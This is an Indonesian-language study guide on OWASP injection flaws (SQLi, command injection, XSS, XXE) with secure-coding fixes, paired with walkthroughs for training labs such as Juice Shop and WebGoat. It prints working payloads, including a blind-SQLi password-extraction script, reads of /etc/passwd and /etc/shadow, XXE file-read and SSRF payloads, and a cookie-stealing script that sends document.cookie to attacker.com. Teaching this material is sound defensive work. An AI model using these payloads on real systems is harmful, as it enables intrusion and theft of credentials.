A03 - Injection
Definisi dan Penjelasan
Injection adalah kategori kerentanan keamanan yang terjadi ketika aplikasi mengirimkan data yang tidak terpercaya (user input) ke interpreter sebagai bagian dari perintah atau query. Attacker dapat menyuntikkan kode berbahaya yang kemudian dieksekusi oleh interpreter, memungkinkan mereka untuk mengakses, memodifikasi, atau menghancurkan data, serta menjalankan perintah pada server.
Injection merupakan salah satu kerentanan tertua dan paling berbahaya dalam keamanan web. Dalam OWASP Top 10 2021, Injection menempati posisi ketiga, namun dampaknya sering kali sangat kritis - dari kebocoran database hingga pengambilalihan server penuh.
Prinsip dasar injeksi adalah kegagalan memisahkan data dari kode. Ketika input pengguna digabungkan langsung dengan query atau perintah, attacker dapat menyisipkan karakter kontrol yang mengubah struktur query/perintah tersebut.
Tipe-tipe Injection
1. SQL Injection (SQLi)
Serangan yang menyuntikkan query SQL berbahaya ke database. Ini adalah tipe injection paling umum dan paling berbahaya.
Sub-tipe SQLi:
- In-Band SQLi: Menggunakan saluran yang
sama untuk menyerang dan mengumpulkan data
- Error-based: Memanfaatkan pesan error database
- Union-based: Menggunakan UNION SELECT untuk menggabungkan hasil
- Blind SQLi: Tidak ada data yang
dikembalikan, attacker menyimpulkan data dari response boolean
atau timing
- Boolean-based: Menganalisis perbedaan response (true/false)
- Time-based: Menggunakan fungsi SLEEP() untuk inferensi
- Out-of-Band SQLi: Menggunakan saluran berbeda (DNS, HTTP request)
2. NoSQL Injection
Mirip dengan SQLi tetapi menargetkan database NoSQL seperti MongoDB. Attacker menyuntikkan operator NoSQL ($ne, $gt, $regex) untuk memanipulasi query.
3. Command Injection
Attacker menyuntikkan perintah sistem operasi melalui aplikasi web. Biasanya terjadi ketika aplikasi meneruskan input user ke shell command.
4. Cross-Site Scripting (XSS)
Attacker menyuntikkan skrip JavaScript berbahaya ke halaman web yang dilihat pengguna lain.
Sub-tipe XSS:
- Reflected XSS: Skrip tercermin dari server dalam response langsung
- Stored XSS: Skrip disimpan di server (database, forum, komentar)
- DOM-based XSS: Kerentanan di sisi client (JavaScript memproses input tidak aman)
5. XML External Entity (XXE)
Attacker mengeksploitasi parser XML yang tidak aman untuk membaca file lokal, melakukan SSRF, atau denial of service.
6. LDAP Injection, XPATH Injection, Template Injection
Bentuk injeksi lainnya yang menargetkan berbagai interpreter.
Dampak Keamanan
| Dampak | SQLi | Command Inj | XSS | XXE |
|---|---|---|---|---|
| Kebocoran Data | ✅ Semua data di DB | ✅ File server | ✅ Cookie/token | ✅ File lokal |
| Modifikasi Data | ✅ INSERT/UPDATE/DELETE | ✅ File system | ✅ DOM manipulation | ❌ Limited |
| Bypass Auth | ✅ Login bypass | ❌ | ✅ Session hijacking | ❌ |
| RCE | ✅ xp_cmdshell (MSSQL) | ✅ Eksekusi perintah | ❌ | ✅ Via SSRF |
| DoS | ✅ Heavy query | ✅ fork bomb | ✅ Loop | ✅ Billion Laughs |
Contoh Kerentanan (Code Snippets)
Contoh 1: SQL Injection (Rentan)
# RENTAN - Concatenation langsung tanpa parameterized query
username = request.form['username']
password = request.form['password']
query = f"SELECT * FROM users WHERE username = '{username}' AND password = '{password}'"
cursor.execute(query)
Input berbahaya:
Username: admin' --
Password: (kosong)
Query menjadi:
SELECT * FROM users WHERE username = 'admin' --' AND password = ''
Atau bypass total:
Username: ' OR 1=1 --
Password: (kosong)
Query menjadi:
SELECT * FROM users WHERE username = '' OR 1=1 --' AND password = ''
Contoh 2: SQL Injection (Aman - Parameterized Query)
# AMAN - Menggunakan parameterized query
username = request.form['username']
password = request.form['password']
query = "SELECT * FROM users WHERE username = ? AND password = ?"
cursor.execute(query, (username, password))
# Input akan di-escape secara otomatis oleh database driver
Contoh 3: Union-Based SQL Injection (Rentan)
# RENTAN
user_id = request.args.get('id')
query = f"SELECT name, email FROM users WHERE id = {user_id}"
cursor.execute(query)
Payload:
?id=1 UNION SELECT username, password FROM admin_users
Query menjadi:
SELECT name, email FROM users WHERE id = 1 UNION SELECT username, password FROM admin_users
Contoh 4: Blind SQL Injection - Boolean-Based
Payload:
?id=1 AND 1=1 → Response normal (true)
?id=1 AND 1=2 → Response berbeda (false)
?id=1 AND SUBSTRING((SELECT password FROM users LIMIT 1),1,1)='a' → Test karakter per karakter
Contoh 5: Blind SQL Injection - Time-Based
-- MySQL
1 AND IF(SUBSTRING((SELECT password FROM users LIMIT 1),1,1)='a', SLEEP(5), 0)
-- PostgreSQL
1; SELECT CASE WHEN (SUBSTRING((SELECT password FROM users LIMIT 1),1,1)='a') THEN pg_sleep(5) ELSE pg_sleep(0) END
Contoh 6: Command Injection (Rentan)
# RENTAN - Input langsung ke shell
import os
hostname = request.form['hostname']
os.system(f"ping -c 4 {hostname}")
Payload:
; cat /etc/passwd
&& whoami
| ls -la
`id`
$(cat /etc/shadow)
Contoh 7: Command Injection (Aman)
# AMAN - Gunakan library yang aman, bukan shell
import subprocess
hostname = request.form['hostname']
# Validasi input (hanya domain/IP yang valid)
import re
if not re.match(r'^[a-zA-Z0-9.-]+$', hostname):
return "Invalid hostname", 400
result = subprocess.run(
['ping', '-c', '4', hostname],
capture_output=True,
text=True,
timeout=10
)
Contoh 8: XSS - Reflected (Rentan)
# RENTAN - Output tanpa encoding
search_term = request.args.get('q')
return f"<h1>Hasil pencarian untuk: {search_term}</h1>"
Payload:
?q=<script>alert('XSS')</script>
?q=<img src=x onerror=alert(document.cookie)>
?q=<svg/onload=alert(1)>
Contoh 9: XSS - Stored (Rentan)
# RENTAN - Komentar disimpan dan ditampilkan tanpa encoding
comment = request.form['comment']
cursor.execute("INSERT INTO comments (text) VALUES (?)", (comment,))
# Saat ditampilkan:
for comment in comments:
print(f"<div>{comment['text']}</div>") # No escaping!
Contoh 10: XSS (Aman - Output Encoding)
# AMAN - HTML-escape output
import html
for comment in comments:
safe_text = html.escape(comment['text'])
print(f"<div>{safe_text}</div>")
# Atau gunakan template engine auto-escape (Jinja2, Django templates)
Contoh 11: XXE (Rentan)
<!-- RENTAN - Parser XML tidak aman -->
<?xml version="1.0"?>
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<root>&xxe;</root>
# RENTAN
import xml.etree.ElementTree as ET
tree = ET.fromstring(xml_input) # Tidak menonaktifkan external entities
Cara Eksploitasi (Relevan ke Lab)
1. SQL Injection - Basic Login Bypass
Target: Portal SQLi, Library SQLi
-- Di form login
Username: ' OR 1=1 --
Password: (anything)
2. SQL Injection - Union-Based Data Extraction
' UNION SELECT null, null, null -- -- Cari jumlah kolom
' UNION SELECT database(), user(), version() -- -- Info database
' UNION SELECT table_name, null, null FROM information_schema.tables -- -- List tabel
' UNION SELECT column_name, null, null FROM information_schema.columns WHERE table_name='users' -- -- List kolom
' UNION SELECT username, password, null FROM users -- -- Ekstrak data
3. Blind SQL Injection - Boolean-Based
' AND 1=1 -- → OK (login berhasil)
' AND 1=2 -- → Gagal (login gagal)
' AND (SELECT SUBSTRING(password,1,1) FROM users WHERE username='admin')='a' -- → Test huruf pertama password
Gunakan script Python untuk automasi:
# Automatisasi blind SQLi
import requests
import string
url = "http://target.com/login"
chars = string.ascii_lowercase + string.digits
password = ""
for i in range(1, 33): # Panjang password maksimal 32
for c in chars:
payload = f"' AND (SELECT SUBSTRING(password,{i},1) FROM users WHERE username='admin')='{c}' --"
data = {"username": payload, "password": "test"}
r = requests.post(url, data=data)
if "Login berhasil" in r.text:
password += c
print(f"Found: {password}")
break
4. Blind SQL Injection - Time-Based
' OR IF(1=1, SLEEP(5), 0) -- → Delay 5 detik
' OR IF(1=2, SLEEP(5), 0) -- → No delay
5. Command Injection
; ls -la
| cat /etc/passwd
&& whoami
`id`
$(uname -a)
6. XSS - Steal Cookie
<!-- Payload untuk mencuri cookie -->
<script>
fetch('https://attacker.com/steal?cookie=' + document.cookie);
</script>
<!-- Atau dengan tag img -->
<img src=x onerror="fetch('https://attacker.com/steal?c='+document.cookie)">
7. XXE - Read File
<?xml version="1.0"?>
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<root>&xxe;</root>
8. XXE - SSRF (Server-Side Request Forgery)
<?xml version="1.0"?>
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "http://internal-server/admin">
]>
<root>&xxe;</root>
Cara Pencegahan
1. Parameterized Query / Prepared Statement (SQLi)
# ✅ AMAN - Parameterized query
cursor.execute("SELECT * FROM users WHERE username = ? AND password = ?", (username, password))
# ❌ RENTAN - String concatenation
cursor.execute(f"SELECT * FROM users WHERE username = '{username}'")
2. Input Validation
import re
def validate_username(username):
# Hanya huruf, angka, dan underscore
return re.match(r'^[a-zA-Z0-9_]{3,32}$', username) is not None
def validate_email(email):
return re.match(r'^[a-zA-Z0-9._%+-]+@[a-zA-Z0-9.-]+\.[a-zA-Z]{2,}$', email) is not None
3. Output Encoding (XSS)
| Konteks | Encoding |
|---|---|
| HTML Body | HTML Entity Encoding (<,
>) |
| HTML Attribute | Attribute Encoding |
| JavaScript | JavaScript Escape (\x3C, \x22)
|
| URL | URL Encoding (%3C, %22) |
| CSS | CSS Escape |
# Python html.escape()
import html
safe = html.escape("<script>alert(1)</script>")
# Output: <script>alert(1)</script>
# Template engine (Jinja2) auto-escape
# {{ user_input }} → auto-escaped
# {{ user_input|safe }} → raw (tidak aman)
4. Content Security Policy (CSP)
# Blokir semua inline script
add_header Content-Security-Policy "default-src 'self'; script-src 'self'; object-src 'none'; frame-ancestors 'none';" always;
# Atau lebih ketat
add_header Content-Security-Policy "default-src 'none'; script-src 'self'; connect-src 'self'; img-src 'self'; style-src 'self' 'unsafe-inline'; base-uri 'self'; form-action 'self';" always;
5. Konfigurasi XML Parser yang Aman
# AMAN - Nonaktifkan external entities
from lxml import etree
parser = etree.XMLParser(resolve_entities=False, no_network=True)
tree = etree.fromstring(xml_input, parser)
6. Least Privilege untuk Database
-- Jangan gunakan root/admin untuk koneksi aplikasi
-- Buat user dengan permission minimal
CREATE USER 'app_user'@'localhost' IDENTIFIED BY 'strong_password';
GRANT SELECT, INSERT, UPDATE ON app_db.* TO 'app_user'@'localhost';
-- Jangan GRANT DROP, CREATE, FILE, atau SUPER
7. WAF (Web Application Firewall)
Gunakan WAF seperti ModSecurity untuk lapisan pertahanan tambahan:
# ModSecurity rule untuk SQLi
SecRule ARGS "@detectSQLi" "id:1000,phase:2,deny,status:403,msg:'SQL Injection detected'"
SecRule ARGS "@detectXSS" "id:1001,phase:2,deny,status:403,msg:'XSS detected'"
8. Checklist Pencegahan
| Tipe Injeksi | Pencegahan Utama |
|---|---|
| SQLi | Parameterized query + input validation + least privilege |
| NoSQLi | Sanitasi input + jangan gunakan query builder dengan string |
| Command Injection | Hindari shell commands + validasi input ketat + gunakan library aman |
| XSS (Reflected) | Output encoding + CSP + input validation |
| XSS (Stored) | Server-side encoding saat render + CSP |
| XSS (DOM-based) | Gunakan .textContent bukan .innerHTML + sanitasi library |
| XXE | Nonaktifkan external entities + gunakan JSON over XML jika memungkinkan |
CWE Mapping
| CWE | Deskripsi |
|---|---|
| CWE-79 | Improper Neutralization of Input During Web Page Generation (XSS) |
| CWE-89 | Improper Neutralization of Special Elements used in SQL Command (SQLi) |
| CWE-77 | Improper Neutralization of Special Elements used in Command (Command Injection) |
| CWE-611 | Improper Restriction of XML External Entity Reference (XXE) |
| CWE-90 | Improper Neutralization of Special Elements in LDAP Query (LDAP Injection) |
| CWE-91 | XML Injection (XPath Injection) |
| CWE-94 | Improper Control of Generation of Code (Code Injection) |
| CWE-95 | Eval Injection (Dynamic Evaluation) |
| CWE-116 | Improper Encoding or Escaping of Output |
| CWE-943 | Improper Neutralization of Special Elements in Data Query Logic (NoSQL Injection) |
Lab Terkait
| Lab | Konsep | Tingkat Kesulitan |
|---|---|---|
| Portal SQLi | SQL injection login bypass, error-based, boolean-blind | Easy-Medium |
| Library SQLi | Union-based data extraction, blind injection | Medium |
| Ticket (SQLi+Upload) | SQL injection dengan file upload vulnerability | Hard |
| Job Portal | SQL injection pada parameter pencarian | Medium |
| Juice Shop | SQLi, XSS (reflected, stored, DOM), NoSQL injection | Easy-Hard |
| WebGoat | SQLi (numeric, string, blind), XSS, XXE, Command Injection | Easy-Hard |
Contoh Konkret dari Lab
Portal SQLi - Login Bypass
Langkah-langkah:
- Buka halaman login Portal SQLi
- Masukkan username:
admin' -- - Masukkan password: (biarkan kosong atau apa saja)
- Tekan login - Anda masuk sebagai admin!
Portal SQLi - Data Extraction
Langkah-langkah:
- Temukan parameter yang rentan (misal ID di URL)
- Uji dengan
'untuk melihat error - Cari jumlah kolom:
' ORDER BY 1--,' ORDER BY 2--, dst - Jika error di ORDER BY 4, berarti ada 3 kolom
- Gunakan UNION:
' UNION SELECT 1,2,3-- - Ekstrak data:
' UNION SELECT database(), user(), @@version-- - Cari tabel:
' UNION SELECT table_name, null, null FROM information_schema.tables-- - Ekstrak data user:
' UNION SELECT username, password, null FROM users--
Juice Shop - SQL Injection
- Halaman login: masukkan
' OR 1=1--sebagai email - Password apa saja - login berhasil sebagai admin
- Untuk tantangan lebih lanjut, coba NoSQL injection pada endpoint API
Juice Shop - XSS
- Reflected XSS: Cari form pencarian,
masukkan
<script>alert('XSS')</script> - Stored XSS: Di halaman komentar/ulasan, masukkan payload XSS
- DOM XSS: Gunakan
#di URL atau parameter yang diproses JavaScript
WebGoat - Command Injection
- Temukan form yang menjalankan perintah sistem (ping, nslookup)
- Masukkan:
127.0.0.1; ls -la - Jika output menampilkan direktori, command injection berhasil
Kesimpulan
Injection adalah salah satu kerentanan paling berbahaya dan paling umum dalam aplikasi web. Pencegahan yang efektif membutuhkan pendekatan berlapis: parameterized query untuk SQL, input validation untuk semua input pengguna, output encoding untuk mencegah XSS, konfigurasi parser yang aman untuk XML, dan prinsip least privilege untuk akses database. Tidak ada satu solusi pun yang cukup - kombinasi dari beberapa lapisan pertahanan adalah kunci untuk melindungi aplikasi dari serangan injeksi.